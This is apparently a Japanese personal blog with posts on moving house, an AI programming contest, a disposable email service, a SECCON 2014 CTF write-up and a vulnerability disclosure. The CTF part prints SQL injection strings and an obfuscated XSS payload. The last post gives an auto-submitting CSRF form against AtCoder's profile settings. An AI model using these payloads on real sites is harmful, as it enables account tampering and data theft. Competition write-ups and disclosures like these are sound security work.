引っ越し2015

社員寮(借り上げマンション)に住んでいたけど、退寮期限が来たので引っ越した。実家 → 大学の寮 → アパート → 社員寮 → 今のマンション、と引っ越しているので、自分で引っ越し先を探すのは2回目。

日程

クリーニングとかがあるから2月末には社員寮を出ないといけなかった。

  • 2014年10月末 同期が不動産屋に行くというので一緒に行ってみる
  • 2014年12月末 そろそろ決めないとマズいかと思い、不動産屋へ。資料をもらったけど、内見には年明けに行くと言ったら、状況が変わっているかもしれないので年明けにまた考えましょう、と。すぐに内見に行かないと意味が無いらしい。
  • 2015年1月10日 内見に行く
  • 2015年1月11日 そのうちの1部屋に決めて、話を進めてくれと連絡
  • 2015年1月16日 審査が通ったとの連絡
  • 2015年1月26日 契約。契約書ができあがるのが26日なので、26日以降でと言われた
  • 2015年1月31日 契約開始日。この日以降にはできないと言われた。
  • 2015年2月1日 引っ越し業者に申込み
  • 2015年2月18日 引っ越し

契約開始日から引っ越しまで間があるのは退寮手続きの関係でどちらにいても金が変わらないことと、引越しの荷造りのため。1か月もあれば余裕で引っ越せるっぽい。むしろ契約開始を遅らせられないので、引っ越し元を出る日が決まっているなら、早すぎるとかえって損しそう。とはいえ、同期は1か月くらいあちこち見て回っていたけど。

仙台はだいたいどこも敷金2か月礼金1か月だったけど、東京は物件によってマチマチ。敷金無し礼金無しもけっこうあった。不動産屋が言うには、年明けくらいになると物件が増えてきて、需要も増え、敷金とか礼金とかも高くなってくると。

だいたいどこも退去時にクリーニング費用を借り主が払う特約が付いているらしい。礼金に含めてほしい。

連帯保証人ではなく、保証会社必須のところがほとんどだった。保証会社に払う金は家賃の40%から100%くらいで、安い会社だと審査が厳しいのでクレジットカードを滞納したことがあったりすると、落ちるらしい。

部屋選び

立地

東京なんだしどこに住んでもスーパーとか本屋くらいはあるだろうと思って、会社からの距離だけを考えていたけど、意外と周囲の店が何も無かった。小さなスーパー(マイバスケット)くらい。休日の食事とかに困るのでもう少し考えるべきだったかもしれない。とはいえ困るのは休日くらいで、平日は会社にすぐ行けて楽なので、あまり後悔はしていない。

設備

敷地内ゴミ捨て場、BSアンテナ、Bフレッツ(できればLAN配線)、宅配ボックスが欲しかった。ちょっと高めの物件を見ていたので、このくらいは全部付いているかと思ったら意外と無いところも多かった。

内見して壁の端子にLANポートがあるからLAN配線だと思ったら、LAN配線はあるけど使っていないとのことでVDSLだった。ひどい。無料インターネットはショボいと何となく思っていたけど、回線速度も速くて、グローバルIP複数使えたりするところもあるらしい。インターネットのことを不動産屋に聞いても分からなそうだし、どうやって見分ければ良いのだろう。

風呂が狭くなった。風呂に入る分には構わないけど、浴室乾燥を使うときにちょっと窮屈。独立洗面台なんて要らないと思って、無い部屋にしたけど、あったらあったで便利だった。

大学の寮はエレベーター無しの5階、アパートは1階、社員寮は2階で主に階段を使っていたので、日常的にエレベーターを使うのが実は初めて、けっこう面倒くさい。高層階の外廊下がとても怖かったけど、1週間くらいで慣れた。そもそも普段は下を覗き込むことがない。

手続き諸々

電気の手続きが最後のほうだからあまり使わなかったけど、東京電力引越れんらく帳が便利そうだった。電気と水道は使える状態になっているので、引っ越してから手続きしても大丈夫だけど、ガスは開栓手続きが必要なので事前に連絡しておかないとまずい。インフラの手続きは領収書に書いてある番号があればインターネットでできるので、引っ越し前は領収書を取っておくべきだった。

Amazonの予約商品の住所変更を忘れると、前の住所に届いてしまうので危険。

東京都内だからテレビのチャンネルはそののままで良いかと思ったら、Tokyo MXのチャンネルが変わっていて、録画に失敗した。良く分かっていないけど、マンションの屋上にアンテナが付いているのではなく、ケーブルテレビで受信していて、ケーブルテレビがチャンネルを変更しているとかだろうか……。

その他

荷物が段ボール箱だけで60箱くらいあった。主に本。次に引っ越す時までに減らそう……。段ボール箱が急いで必要なときは、ヤマトの営業所に行くと売ってくれる。高いけど2重のしっかりした段ボール箱。

社員寮にポスターレールが付いていて、せっかくだからとポスターを掛けておいたら、ポスターフレームの裏が黒ずんでいて、壁紙の張り替え費用を請求されそうだった。ポスターフレームの台紙が発泡スチロールのような素材だったので、静電気でホコリを引き寄せたとかだろうか……。

住基カードのQRコード

確定申告のために10年ぶりに住基カードを取得した。QRコードが付いていたので、試しに読み取ってみたら、生年月日(元号の下2桁+月+日)が書かれていた。

住基カード」でイメージ検索をしてみると、カードに印字されている生年月日は塗りつぶしているのに、QRコードはそのままの人がいる。一応消しているけど、消し方が甘い人もいる。QRコードの訂正能力ならかなり潰しても情報は読み取れそう。

住基カードをネットに晒してしまう人が悪いのか、個人情報をぱっと見では分からない形(QRコード)にして印刷するほうが悪いのか……。

ちなみに、生年月日がQRコードに入っている理由は次の通りらしい。

QRコードは、券面事項をICチップに記録したカードであることが見て分かるように印刷されています。QRコードとICチップ内の情報の組み合わせにより、年齢確認が可能であり、年齢別の優待割引など将来的に様々な分野での利用拡大も期待されています。

http://juki-card.com/about/

何を馬鹿なことを言っているのだという気がするけど、良く考えてみると、ありな気もしてくる。詳しくない人が、QRコードの無いカードとあるカードを見せられて、「どちらにICが入っているでしょう?」と訊かれたら、QRコードのあるほうを指さしそう。自治体によっては非接触式のみで、金色の端子が無いところもあるらしい。

とはいえ、ICチップ入りを見分けるためなら「ICカード」って書いておけば済む話だし、年齢確認も住基カードで本人確認をするのなら印字されている生年月日を見れば良いし、何か他にも理由がありそう。

CODE VS 4.0

CODE VS 4.0に参加した。27位、70点、6145ターン、102714ms。ターン数まで同じになることがほぼ無いので、意味が無いけど、思考時間はランキングに載っている100人の中でyosupoさんに次いで2位。

f:id:kusano_k:20150210002054p:plain

プレイ動画

ソース

https://bitbucket.org/kusano/codevs4/src

戦績

周回 chokudaAI colunAI gelb grun lila rosa schwarz zinnober silber
1
2
3 ×
4 × ×
5 × × ×
AIの概要

速攻型。資源マスの上にワーカーを置きつつ、ワーカーを1体右下に向かわせる。100ターンを超えたらワーカーの作成を控えて拠点を作る。拠点から戦闘ユニットを出して敵の城を探索し、敵の城に向かって戦闘ユニットを固めて送り込む。

資源マスの探索

9マスずつ間を開けてワーカーを走らせ、虱潰しに探す。資源マスを見つけたワーカーは資源マスに向かわせて、資源を確保する。最初は用が済んだワーカーは探索に戻っていたが、後から見つけた資源にワーカーを置く余裕が無かったので、止めた。

資源マスの確保

資源マスには5体までワーカーを置く意味がある。城や近くの村から送る手と、最初のワーカーが村を作り村でワーカーを作る手がある。どちらが得かは資源の距離と現在の生産量による。面倒なのでプログラムでシミュレートして、どこの資源に村を作るかあるいは作らないかを判断するようにした。ソースコード中のbuildVillage。資源ではないところに村を作るのが最善になることもありそうだけど、誤差でしょう。

拠点作成用ワーカー

最初から右下に向かって拠点を作ることを目指すワーカー。最初は専用のワーカーを使わず、たまたま一番右下にいるワーカーを使っていたが、専用のワーカーを用意した方が強かった。一応、敵を躱しながら移動するが、敵に追いやられて明後日の方向に行くことがあったので、ほとんど右か下かを選ぶだけ。

敵の城の探索

拠点から敵の城が存在する可能性のあるエリアの端に向けて戦闘ユニットを送る。最初は敵の城が見つかるまで送り続けていたが、各方向に1体だけ送るようにして、後は城が見つかるまでとりあえず右下に向かって攻撃部隊を送るようにした。たいていは敵の城を見つけられる。失敗して攻撃が遅れた例はプレイ動画のステージ20。

敵の城の攻撃

敵のユニットの攻撃範囲に味方のユニットが複数いるとダメージが分散されるので、固めたほうが強い。ルールに10体以上は10体とみなすとあるので、1マスには10体まで。10体, 20体, 30体と作る度に50体まで増やす。最初は、10体×2マスと、20体×1マスは同じことだと思っていたが、chokudaiさんの放送を見ていて、ルールでは「攻撃範囲に10体」ではなく「1マスに10体」だったと気が付いた。↓のツイートは嘘ではない。

味方の戦闘ユニットの攻撃範囲の敵は少ない方が良いので、戦闘ユニットの中心を敵の城に重ねるのではなく、攻撃範囲の先端が敵の城に当たるようにしている。

戦闘ユニットの種類を考えようと思ったが、grunがこちらの苦手なユニットを出してきたりして面倒なので、ランダムに生成している。

資源マスの奪取

発見済みで味方ユニットがいない(=敵に占拠されている)資源に、ときどきアサシンを送っている。

味方の城の防御

敵が近づいてきたらワーカーを生成する。戦闘ユニットに比べれば弱いけど、無いよりはだいぶマシになる。

反省

上位陣の多くがそうなので、資源の確保をちゃんとするべきだった。そのためには味方の城を一定期間守る必要があるので、拠点は城の上に作るべきだった。何となく守ってもじり貧かと思っていたけど、資源をちゃんと確保すれば守り切れるらしい。

他の人がやっていてなるほどと思ったこと

予想外の攻撃を受けたら近くに城がある。受けなかったら城が無い。ダメージを与えた敵が与えたと同時に死ぬ場合があるので、一工夫必要ではあるらしい。村の視界もちょうど10マスなので次のターンで村を作れば確実。上位陣にとっては当たり前だったらしく、誰も探索用のユニットをばらまいたりしていなかった。

敵AIによる思考ルーチンの切り替え。やはりこれをしないと全勝は厳しいらしい。拠点の場所などを見る手もあるけど、IDが全体を通して連番ということから敵のAI作成数が分かり、そこから推測できると。

(ルール変更前の)CODE VS 4.0 - ustimawのブログ

ステージごとの学習。ステージごとにプログラムが起動されるわけではないので、ステージごとの初期化を忘れてバグるたびに、何でプログラムが動き続ける仕様なんだと愚痴っていた。本戦で最初のステージで敵が速効だと分かったら対策をすると言っている人がいて、なるほどと思った。予選でも、あるAIが出てきたら次からは推測の候補から外すとかできるのかもしれない。

村による城の防御。全く思いつかなかった。スペック表を良く見たら、どう考えても城のほうが優秀だった。「【特徴4】 城の上に村が乗る!前代未聞!」という煽り文句をただのネタだと思っていたが、重要なヒントだったのか……。

大量のメールアドレスを発行可能なウェブサービスを作ってみた

Boids Mail

使ってみてくれるとありがたいけど、明日サービス中止から全メール流出まで何が起こるか分かりません。

f:id:kusano_k:20141230190118p:plain:w480

作ろうと思った経緯とこのサービスの使い道

迷惑メールがうざい。

インターネットができた当初の牧歌的な時代ならともかく、私のアドレスを知っているだけで世界中の誰もが私にメッセージを送れる、電子メールというシステムが時代遅れなのだと思う。TwitterのDMやLINEなどたいていのコミュニケーションツールは受信を許可した相手しかメッセージは送れないし、後から許可を取り消すことができる。とはいえ、これらの新しいコミュニケーションツールは公開されたプロトコルではなく、どこかの会社のサービスなので、限られた人とのやり取りには使えても、ウェブサービスに登録するときなどはあと10年は電子メールを使い続ける必要がありそう。

Gmailでは、(元のアドレス)+(任意の文字列)@gmail.comという形式でメールアドレスを増やせるけれど、元のアドレスがバレバレだし、+が登録できないサイトも多い。元のアドレスと無関係なエイリアスを発行できるサービスは発行できる個数が少なく、登録するサイトごとに別のメールアドレスを使うということはできない。

Gmail のエイリアスは個人情報漏洩対策にならないからやめとけっていう話 | WWW WATCH

Gmailで何とかしようと思うと、登録するサービスごとに元のアドレスに付加する文字列を決めて、それらのアドレス宛の場合は通し、それ以外のアドレスに届いたメールを捨てる必要があって、ちょっと面倒。

ということで、ワンクリックで大量にエイリアスを発行できるサービスがあれば便利なのではと思って、作ってみた。

技術的な詳細

postfixSMTPサーバー)とdovecot(POPサーバー)にデータベースからアカウントを引く機能があったので、それを使っている。あとはPlay Frameworkによるフロントエンドがそのデータベースを弄っているだけ。

postfix

main.cf

queue_directory = /var/spool/postfix
command_directory = /usr/sbin
daemon_directory = /usr/libexec/postfix
data_directory = /var/lib/postfix

mail_owner = postfix

myhostname = boids.info
mydomain = boids.info

inet_interfaces = all
inet_protocols = all
mydestination =

home_mailbox = Maildir/

debug_peer_level = 2
debugger_command =
         PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin
         ddd $daemon_directory/$process_name $process_id & sleep 5

virtual_mailbox_domains = boids.info
virtual_mailbox_base = /var/mail/vhosts
virtual_mailbox_maps = mysql:/etc/postfix/mailbox_map.cf
virtual_minimum_uid = 10000
virtual_uid_maps = static:10000
virtual_gid_maps = static:10000
virtual_mailbox_limit_maps = static:100000000
virtual_mailbox_limit_inbox = no
virtual_mailbox_limit_override = yes
virtual_maildir_extended = yes
virtual_overquota_bounce = yes
virtual_maildir_limit_message = "User over quota, try again"
virtual_trash_count = yes
virtual_trash_name = ".Trash"
message_size_limit = 10000000

mailbox_map.cf

user = postfix
password = xxxxxxxxxxxxxxxx
dbname = boids
query = SELECT concat(mailbox, '/') FROM user INNER JOIN address ON user.id=address.user WHERE concat(address.address, '@boids.info')='%s' and address.active!=0

%sにメールアドレスが入った状態でデータベースを引いて、メールを格納するディレクトリが出てくれば良い。Maildirでメールボックスのサイズを制限するにはパッチを当てる必要があって、ちょっと面倒だった。

[CentOS6] Postfixによるメールサーバ構築 その1 (PostfixをSRPMからリビルド) | CentOSサーバ構築術 文具堂

dovecot

dovecot.conf

protocols = pop3
disable_plaintext_auth = no
ssl = yes
ssl_cert = </etc/ssl/certs/boids.info.pem
ssl_key = </etc/ssl/certs/boids.info.pem
mail_location = maildir:%h
auth_mechanisms = plain apop cram-md5
passdb {
  driver = sql
  args = /etc/dovecot/sql.conf.ext
}
userdb {
  driver = prefetch
}

sql.conf.ext

driver = mysql
connect = host=localhost dbname=boids user=dovecot password=xxxxxxxxxxxxxxxx
password_query = SELECT \
    concat('{PLAIN}', pop_password) as password, \
    concat('/var/spool/mail/vhosts/', mailbox) as userdb_home, \
    'vuser' as userdb_uid, \
    'vuser' as userdb_gid \
    FROM user WHERE pop_id = '%u' and active!=0

%uにユーザー名が入った状態でデータベースを引いて、password, home, uid, gidが出てくれば良い。userdbでdriver = prefetchとするとパスワードとユーザー情報の問い合わせがまとめられて1回になるらしい。その場合、home, uid, gidにuserdb_を付ける必要がある。嵌まった。

サーバーもドメインも他と一緒にしないで、別に買った。金額は全部税込み。

サーバー 11,664円/年

+初期費用が1,620円。さくらのVPS 1G。1年分まとめて払えばちょっと安くなるけど、1年も続けるか分からないので、月払いにしている。

ドメイン 1,080円/年

VALUE DOMAIN、上位レジストラはKeySystems、.info。

証明書 1,300円/年

どうせなので、HTTPSにして、POPもTLSを使えるようにした。SSLストアRapidSSLを買った。

ロゴの後ろの鳥の写真 0円

pixabayというサイトで探した。ありがとうございます。shutterstockの有料の画像が広告として出てくるので注意。

まとめ

Gmailにこの機能が付いてくれ(人∀・)タノム

追記

捨てアドブラックリストに入れられちゃうオチなんだよなあ

http://b.hatena.ne.jp/enkunkun/20141230#bookmark-237680291

なるほど……。

同じサービスがすでにあると教えてもらった(´・ω・`) POPでの受信こそできないけどアプリがあるから困らなそうだし、メールの送信もできる。

https://m.kuku.lu/

追記2

自分ですら使わなかったので閉鎖した。本当はメインのメールアドレスとして使いたかったけど、も数年間維持できるか分からないし、そうなると捨てアドくらいにしか使えない。

ソースコードhttps://github.com/kusano/boids

SECCON 2014 オンライン予選(英語)Write-up

SECCON 2014 オンライン予選(英語)

2600点。全国大会に行けるのか微妙な順位だな……。

Welcome to SECCON (Start, 100)

SECCON{20141206}

Easy Cipher (Crypto, 100)

2, 8, 10, 16進数の数字が並んでいる。

A = "87 101 … 0156 33"
A = A.split()
B = ""
for a in A:
    if any(c in a for c in "abcdef"):
        b = 16
    elif a[0]=="0":
        b = 8
    elif len(a)>4:
        b = 2
    else:
        b = 10
    B += chr(int(a, b))
print B
Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!
SECCON{W31C0M 70 7H3 53CC0N ZOIA}

Decrypt it (Easy) (Crypto, 200)

解けなかった。

プログラムと暗号化したファイルが与えられる。暗号化は、srand(time(NULL))して各バイトとrand()%256をxor。拡張子からPNGファイルだと分かるので乱数の種を総当たり。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    int t = time(NULL);
    while (true)
    {
        t--;
        srand(t);
        if ((0x89^(rand()%256))==0x34 &&
            (0x50^(rand()%256))==0x70 &&
            (0x4e^(rand()%256))==0xf0 &&
            (0x47^(rand()%256))==0x2d)
        {
            printf("OK\n");
            break;
        }
    }
    srand(t);
    FILE *in = fopen("ecrypt1.bin", "rb");
    FILE *out = fopen("crypt1.png", "wb");
    for (int i=0; i<0xb3a5; i++)
        fputc(fgetc(in)^(rand()%256), out);
    fclose(in);
    fclose(out);
}

この画像が出てくる。

f:id:kusano_k:20141207172658p:plain

pとqの桁数なら総当たりができるので、mod pとqに対してMを求めて、中国人剰余定理を使えば良い。

def sub(c,b,n):
    for i in range(n):
        if i*(i+b)%n==c:
            return i

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

def solve(N,B,C):
    p = 2
    while N%p!=0:
        p += 1
    q = N/p
    
    a1 = sub(C%p,B%p,p)
    a2 = sub(C%q,B%q,q)
    
    x,y,_ = exgcd(p, q)
    M = (a1+(a2-a1)*x*p)%N
    
    assert(M*(M+B)%N == C)
    
    return M

m1 = solve(0xB8AE199365, 0xFFEEE, 0x8D5051562B)
m2 = solve(0xB86E78C811, 0xFFFEE, 0x5FFA0AC1A2)
m3 = solve(0x7BD4071E55, 0xFEFEF, 0x6008DDF867)

print hex(m1)
print hex(m2)
print hex(m3)

答えは、M=6568C65128, M=865609C5EE, M=19A297DFE9。この後どうして良いのか分からない。SECCON{6568C65128865609C5EE19A297DFE9}は不正解だった。

Decrypt it (Hard) (Crypto, 300)

手を付けていない。

Ms.Fortune? Misfortune. : 4096-bit RSA (Crypto, 400)

手を付けていない。

Shuffle (Binary, 100)

FLAGをシャッフルして出力するプログラムらしい。0x804854bあたりがシャッフル前のフラグを設定する処理。

SECCON{Welcome to the SECCON 2014 CTF!}

Reverse it (Binary, 100)

ファイルを逆に読んで、各バイトの上位4バイトと下位4バイトを交換するとJpegになる。

def f(c):
    t = ord(c)
    return chr(t>>4|t<<4&0xf0)
x = open("Reverseit","rb").read()
open("ans.jpg","wb").write("".join(map(f, x[::-1])))
SECCON{6in_tex7}

Let's disassemble (Binary, 200)

解けなかった。

指定されたポートに繋ぐと、16進数が出題される。x86ではないらしい。

Advanced RISC Machine (Exploit, 200)

手を付けていない。

ROP: Impossible (Exploit, 500)

手を付けていない。

Holy shellcode (Exploit, 400)

手を付けていない。

Japanese super micro-controller (Exploit, 500)

手を付けていない。

jspuzzle (Web, 100)

alertするJavaScriptになるように、穴埋めする。

({"function" :function(){
    this[ "null" ] = (new Function( "return" + "/*^_^*/" + "this" ))();
    var pattern = "^[w]$";
    var r = new RegExp( pattern );
    this[ r[ "exec" ]( pattern ) ][ "alert" ]( 1 );
}})[ "Function"[ "toLowerCase" ]() ]();

変数に設定してあとから読み出すところが2箇所あるけど、同じ単語を2回は使えないので何とかする必要がある。

REA-JUU WATCH (Web, 200)

ブラウザ上で選択肢を選んでいく。最後に点数をhttp://reajuu.pwn.seccon.jp/users/chk/:idからJSONで取得している。http://reajuu.pwn.seccon.jp/users/chk/1にアクセスすると、

{"username":"rea-juu","password":"way_t0_f1ag","point":99999}

が出てくるので、これでログイン。

SECCON{REA_JUU_Ji8A_NYAN}

Bleeding "Heartbleed" Test Web (Web, 300)

Hertbleedのスキャナーが置いてある。試験結果はデータベースに保存するらしい。

16 03 02 00 01 0e 18 03 02 00 ff 61 61 61 61 61
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
61 61 …

こんなファイルを用意して、

nc -l 1234 < attack.bin

とncで待ち受けて、スキャナーで自分のIPアドレスとポートを指定すると、スキャナーにaaa…と表示される。試しに'を含めるとエラーになる。ソースコード中に

<!-- DEBUG: INSERT OK. TIME=1417868674 -->

という行がある。スキャン結果の保存時は問題が無いけど、この時刻の取得時にSQLインジェクションが可能らしい。SQLiteなのになぜか--コメントアウトが使えなくて、DBエンジンが何なのか迷った。

aaa' union SELECT group_concat(sql) from sqlite_master where 'a'!='aaa…

を送ると、

<!-- DEBUG: INSERT OK. TIME=CREATE TABLE results ( time, host, result ),CREATE TABLE ssFLGss ( flag ),CREATE TABLE ttDMYtt ( dummy ) -->
aaa' union select flag from ssFLGss where 'a'!='aaa…

を送ると、

<!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} -->
SECCON{IknewIt!SQLiteAgain!!!}

Binary Karuta (Web, 400)

手を付けていない。

XSS Bonsai (aka. Hakoniwa XSS Reloaded) (Web, 500)

f:id:kusano_k:20141207175005p:plain

SECCONで良く出ている、箱庭XSS。落ちたり、フラグが文字化けしたり散々だったけど、途中で修正版が配布された。

alert('XSS')を実行すると次に進める。一度使った単語は使えなくなる。過去のWrite-upを参考に中のIEを 11にすると、文字列中から文字を取り出せるようになる。(1234)["constructor"]["constructor"]("alert('XSS')")()を実行すれば良く、文字列をランダムな文字列から組み立てれば、制限を迂回できる。最初のほうは一工夫必要だけど、途中からはそのまま文字列が書き出されるので、イベントハンドラを色々使っていくだけ。これが役に立った。ありがとうございます。最後は&\[も使えなくなる。修正版でもエラーは出たけど、「続行」で問題無かった。ondragはなぜか落ちるので使えない。

https://gist.github.com/kusano/b68995e9725e10b6d7cd

色々試している途中に不思議な挙動があった。

x3caxui/\x6fnmouseenter=$=~[];$={___:++$,$$$$:(![]+'')[$],__$:++$,$_$_:(![]+'')[$],_$_:++$,$_$$:({}+'')[$],$$_$:($[$]+'')[$],_$$:++$,$$$_:(!''+'')[$],$__:++$,$_$:++$,$$__:({}+'')[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+'')[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+'')[$.__$])+((!$)+'')[$._$$]+($.__=$.$_[$.$$_])+($.$=(!''+'')[$.__$])+($._=(!''+'')[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!''+'')[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+'\''+$.$_$_+(![]+'')[$._$_]+$.$$$_+'\\'+$.__$+$.$$_+$._$_+$.__+'(/\\'+$.

を投稿すると、下のソースの部分がリンクのようになる。

f:id:kusano_k:20141207193657p:plain

↑の先頭のxを消すと、ハイライトされなくなる。

f:id:kusano_k:20141207193800p:plain

3まで消すと元通り。

SECCON{8e607c8dfce7bb248099wfe9a5ed99} (200点)
SECCON{1a93W8efc707eeecebc5bba619eb}

QR (Easy) (QR, 200)

QRコードがホットケーキに焼かれて、半分食べられている(;・∀・) 

これを使うだけだった。便利なツールだ。

?????????????????x    xxxxxxx
????????????????? xxx x     x
?????????????????x xx x xxx x
????????????????? x   x xxx x
?????????????????xx x x xxx x
????????????????? x x x     x
????????????????? x x xxxxxxx
????????????????? x x        
??????????????????x xx xxxxx 
?????????????????x x x x    x
???????????????????x x  xxxx 
???????????????????    xxxxxx
?????????????????? x   xxx   
??????????????????  x xx x x 
??????????????????   xxxxxxx 
??????????????????  xx   x x 
??????????????????  xx x  x x
???????????????????xxx   x   
??????????????????? x   x x x
??????????????????   x  x  xx
?????????????????? xxxxxx xxx
??????????????????  x   x   x
???????????????????xx x x x  
???????????????????xx   x    
???????????????????xxxxxx x x
?????????????????? x x x xx  
??????????????????xxxxx   xxx
???????????????????x   xx x x
???????????????????xx xxxx xx

形式情報が読めないので、適当に試してみる。

QR (Easy)>sqrd.py -e 2 -m 1 < qr.txt
SECCON;PSwIQ9d9GjKTdD8H}

読み間違ったか文字化けしている。フラグ本体じゃなくて良かった。

SECCON{PSwIQ9d9GjKTdD8H}

SECCON Wars: The Flag Awakens (QR, 300)

曲の権利は大丈夫なんですかね?

大丈夫らしい。

https://support.google.com/youtube/answer/3376882?hl=ja

良く見ると、後半のSECCONのロゴが出てくるところで、QRコードが流れている。aviutlで連番BMPで出力して、次のスクリプトで下1行を貼り合わせた。

import Image

w, h, n = 320, 240, 1199

c = Image.new("RGB", (w,n))
for i in range(n):
    print i
    t = Image.open("bmp\\wars_%04d.bmp"%i)
    t = t.crop((0, h-2, w-1, h-1))
    c.paste(t, (0, i))
c.save("qr.png")

f:id:kusano_k:20141207180939p:plain

あとは画像処理ソフトで、適当に縦に伸ばして白黒にした。

SECCON{M4Y 7H3 F0RC3 83 W17H U}

BBQR (QR, 400)

解けなかった。

今度は前半部分が消えている。リードソロモンで復号するには、4バイト足りない。

Get the key.txt (Forensics, 100)

最初は解けなくて放置していたけど、解けている人が大勢いるのでもう一度取りかかったら簡単だった。

ext2のイメージ。key.txtを開いて見ると、gzip圧縮されたファイルで、中身はkey60.txt。grepすると382-1の中身がkey.txtらしいので展開。

SECCON{@]NL7n+-s75FrET]vU=7Z}

Read it (Forensics, 300)

解けなかった。

fileコマンドによるとWordPerfectと出てきたので、500円出してAndroid版のビュワーを買ったけど読めなかった(´・ω・`)

UnknownFS (Forensics, 400)

誰も解けていない。

Confused analyte (Forensics, 500)

解けなかった。

volatilityがどうこうと書いてあるので、VMで実行して、volatilityに掛けようとしたけど、シグネチャが手に入らず終了。volatility、Windows 10のメモリは解析してくれなくて嵌まった。

Choose the number (Programming, 100)

与えられた数字列から最小や最大の数字を返すだけ。

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("number.quals.seccon.jp", 31337))

while True:
    t =  s.recv(10000)
    print t
    if "Congratulations" in t:
        for _ in range(10):
            print s.recv(10000)
    t = t.split("\n")
    f = min if "min" in t[1] else max
    ans = f(map(int, t[0].split(", ")))
    print "ans:",ans
    s.send(str(ans)+"\n")
The flag is SECCON{Programming is so fun!}

The Golden Gate (Programming, 400)

解けなかった。エンコーダーの写真と暗号文が与えられる。NANDを使ってXORを作っている。

def encrypt2(input):
    i0 =     input[0]
    i1 = not input[1]
    i2 =     input[2]
    i3 = not input[3]
    i4 =     input[4]
    i5 =     input[5]
    i6 = not input[6]
    i7 = not input[7]

    c1 = i0^i2
    c2 = i5^i6
    c3 = i4^i6
    c4 = 1^i5
    c5 = i1^i6
    c6 = i3^c2
    c7 = i2^c3
    c8 = c1^c2
    c9 = c2^c4
    c10 = i7^c1
    
    o0 = c6
    o1 = c3
    o2 = c7
    o3 = c5
    o4 = c8
    o5 = c4
    o6 = c9
    o7 = c10
    
    return (o0, o1, o2, o3, o4, o5, o6, o7)

スイッチを下にして裏側から見て、スイッチが右側から、i0, i1…。LEDも右から、o1, o2…。こういう処理だと思うのだけど、デコードできない……。

問題終了後にヒントが出ていた。

LEDの点灯・消灯が逆だったorz

def nand(a, b):
    return not (a and b)

def encode(input):
    i0 = input[0]
    i1 = input[1]^1
    i2 = input[2]
    i3 = input[3]^1
    i4 = input[4]
    i5 = input[5]
    i6 = input[6]^1
    i7 = input[7]^1

    c1 = i0^i2
    c2 = i5^i6
    c3 = i4^i6
    c4 = 1^i5
    c5 = i1^i6
    c6 = i3^c2
    c7 = i2^c3
    c8 = c1^c2
    c9 = c2^c4
    c10 = i7^c1
    
    o0 = c6^1
    o1 = c3^1
    o2 = c7^1
    o3 = c5^1
    o4 = c8^1
    o5 = c4^1
    o6 = c9^1
    o7 = c10^1
    
    return (o0, o1, o2, o3, o4, o5, o6, o7)

T = []
for p in range(256):
    c = encode([p>>i&1 for i in range(8)[::-1]])[::-1]
    T += [sum(int(c[i])<<i for i in range(8))]

C = "BQDykmgZ0I6SaQnq4o/iEONudetXdPJdpl1UVSlU69oZOtvqnHfinOpcEfIjXy9okkVpsuw2kpKS=="
C = C.decode("base64")

P = "".join(chr(T.index(ord(c))) for c in C)

print repr(P)
open("answer.gz", "wb").write(P)

gzipで解凍。

The flag is SECCON{Hlvd0toiXgloBhTM}

Get the key (Network, 10100)

pcapファイルを見てみると、BASIC認証のページにアクセスしている。AuthorizationヘッダをBase64デコードするだけ。seccon2014:YourBattleField

SECCON{Basic_NW_Challenge_Done!}

Get from curious "FTP" server (Network, 300)

FTPサーバー。良く分からないけど、ACCTコマンドでファイル一覧が取れた。

Get from curious FTP server>nc ftpsv.quals.seccon.jp 21
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS hoge
230 Login successful.
PASV
227 Entering Passive Mode (133,242,224,21,133,159).
ACCT
150 Here comes the directory listing.
226 Directory send OK.
Get from curious FTP server>nc ftpsv.quals.seccon.jp 21
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS hoge
230 Login successful.
PASV
227 Entering Passive Mode (133,242,224,21,177,125).
RETR key_is_in_this_file_afjoirefjort94dv7u.txt
150 Opening BINARY mode data connection for key_is_in_this_file_afjoirefjort94dv
7u.txt (38 bytes).
226 Transfer complete.
QUIT
221 Goodbye.

データ側はこんな感じ。

Get from curious FTP server>nc 133.242.224.2
1 34207
-rw-r--r--    1 0        0              38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt
Get from curious FTP server>nc 133.242.224.21 45437
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}

version2 (Network, 200)

解けなかった。

HTTP2?

脆弱性 Advent Calendar 2014

脆弱性"&'<<>\ Advent Calendar 2014 - Adventar

1日目 AtCoder

AtCoder

AtCoderができたばかりの頃は、クロスサイトリクエストフォージェリの対策がなされていなくて、下記のような罠ページをログイン済みのターゲットに踏ませれば、プロフィールを書き換えることが可能だった。確認はしていないけど、コンテスト中に間違ったソースコードを投稿させてペナルティをあたえたりもできたかもしれない。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>AtCoder CSRF Test</title>
  </head>
  <body onload="document.getElementById('form').submit()">
    <form id="form" target="frame" method="POST" action="http://arc002.contest.atcoder.jp/settings">
      <input type="hidden" name="user_name" value="test">
      <input type="hidden" name="user_screen_name" value="test">
      <input type="hidden" name="mail" value="test@example.com">
      <input type="hidden" name="affiliation" value="test">
      <input type="hidden" name="twitter_id" value="test">
    </form>
    <iframe id="frame" width="1" height="1">
    </iframe>
  </body>
</html>

